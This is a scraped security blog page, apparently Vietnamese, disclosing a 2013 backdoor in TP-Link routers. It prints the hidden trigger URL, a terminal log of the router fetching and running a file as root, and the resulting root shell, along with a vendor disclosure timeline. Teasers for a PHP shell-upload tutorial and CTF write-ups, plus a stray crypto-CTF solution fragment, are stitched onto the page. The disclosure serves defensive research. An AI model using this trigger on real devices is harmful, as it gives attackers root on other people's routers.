1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
root@secu:~# ls -l /srv/tftp/nart.out
-rw-r--r-- 1 root root 871604 Mar 11 18:23 /srv/tftp/nart.out
root@secu:~# nc 192.168.0.1 2222
(UNKNOWN) [192.168.0.1] 2222 (?) : Connection refused
root@secu:~# wget http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html                                                                                                                       --2013-03-09 23:22:31--  http://192.168.0.1/userRpmNatDebugRpm26525557/start_art                                                                                                                     .html
Connecting to 192.168.0.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: "start_art.html"
    [ <=>                                   ] 426         --.-K/s   in 0s
2013-03-09 23:22:33 (49.1 MB/s) - "start_art.html" saved [426]
root@secu:~# nc 192.168.0.1 2222
ps
  PID  Uid     VmSize Stat Command
    1 root        404 S   init
    2 root            SW< [kthreadd]
    3 root            SW< [ksoftirqd/0]
    4 root            SW< [events/0]
    5 root            SW< [khelper]
    6 root            SW< [async/mgr]
    7 root            SW< [kblockd/0]
    8 root            SW  [pdflush]
    9 root            SW  [pdflush]
   10 root            SW< [kswapd0]
   17 root            SW< [mtdblockd]
   18 root            SW< [unlzma/0]
   71 root       2768 S   /usr/bin/httpd
   76 root        380 S   /sbin/getty ttyS0 115200
   78 root        208 S   ipcserver
   82 root       2768 S   /usr/bin/httpd
   83 root       2768 S   /usr/bin/httpd
   86 root        732 S   ushare -d -x -f /tmp/ushare.conf
   92 root        348 S   syslogd -C -l 7
   96 root        292 S   klogd
  101 root            SW< [napt_ct_scan]
  246 root        348 S   /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u
  247 root        204 S   /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u
  251 root        364 S   /usr/sbin/udhcpd /tmp/wr841n/udhcpd.conf
  286 root       2768 S   /usr/bin/httpd
  299 root       2768 S   /usr/bin/httpd
  300 root       2768 S   /usr/bin/httpd
  305 root       2768 S   /usr/bin/httpd
  307 root       2768 S   /usr/bin/httpd
  309 root       2768 S   /usr/bin/httpd
  310 root       2768 S   /usr/bin/httpd
  389 root       2768 S   /usr/bin/httpd

Details

After the following HTTP request is sent:
http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html
the router downloads a file (nart.out) from the host which has issed the http request and executes is as root:

tp-link-diag
PoC – diagram
Sample captures from the host which issues the http request:
Wireshark filter
Wireshark filter used to show router tftp traffic
Wireshark filter used to show router tftp traffic
nart.out tftp request

Models affected

  • TL-WDR4300
  • TL-WR743ND (v1.2 v2.0)
  • …

History of the bug


12.02.2013 – TP-Link e-mailed with details – no response
22.02.2013 – TP-Link again e-mailed with details – no response
12.03.2013 – public disclosure
14.03.2013 – UPDATE: contact from TP-Link Poland. They asked for some more detailed information. Additional PoC sent.
15.03.2013 – UDPATE: confirmation of the issue (it is WAN exploitable if http admin is available from WAN side)
TP-Link http/tftp backdoor TP-Link http/tftp backdoor

About the TP-Link Router TP-Link TL-WDR4300 is a popular dual band WiFi, SOHO class router. Tested Firmware We tested the remote root...

Read more »

Đặt quảng cáo kiếm tiền từ website Đặt quảng cáo kiếm tiền từ website

Đặt quảng cáo kiếm tiền từ website Bài này mình sẽ hướng dẫn các bạn cách đặt quảng cáo lên website của bạn để kiếm tiền từ các tra...

Read more »

Cách chia địa chỉ IP Cách chia địa chỉ IP

Những bảng và công thức cần nhớ: Bảng 1: 2^0=1 2^1=2 2^2=4 2^3=8 2^4=16 2^5=32 2^6=64 2^7=128 2^8=256 Công thức 1: n bit => ...

Read more »

Upload shell with Tamper Data Upload shell with Tamper Data

Upload shell with Tamper Data How to upload your PHP shell through Tamper Data Many times you get login of a website, but you are ...

Read more »

Học viện đào tạo thạc sĩ ATTT đầu tiên ở Việt Nam Học viện đào tạo thạc sĩ ATTT đầu tiên ở Việt Nam

Học viện đào tạo thạc sĩ ATTT đầu tiên ở Việt Nam   Sáng 7/10/2013, tại Hà Nội, Học viện Kỹ thuật Mật mã (KTMM) đã tổ chức Lễ côn...

Read more »

Sharif University CTF Quals – Web 100 Sharif University CTF Quals – Web 100

Sharif University CTF Quals – Web 100 Sharif University CTF Quals – Web 100 This was a classic command injection vulnerability. Co...

Read more »

1
2
3
4
5
num = 11111111111111111111112
for i in range(1, 10):
    num *= 11111111111111111111112
    num %= 123456790123456790123454320987654320987654321
    print i, num
Output:
Tính hiệu của chúng theo từng cặp, lạ kỳ thay khi tất cả đều bằng 11111111111111111111111 surrender
Ok, case closed emo_popo_look_down
Chúng ta xác định x bằng cách:
y = (1173805180904286755555543817503746512689 - 11111111111111111111112) / 11111111111111111111111
  = 105642466281385807

x = y + 1
  = 105642466281385808
flag = md5(x) = d0cacf9701b449aae0b236f1626d5688.
Sharif University CTF Quals – Cryto 300 Sharif University CTF Quals – Cryto 300

Sharif University CTF Quals – Crypto 300 Sharif University CTF Quals – Crypto 300 Chúng ta cần tìm một số x sao cho: (1111111...

Read more »
 
Top

Nhận xét mới đăng tải!

Loading…
X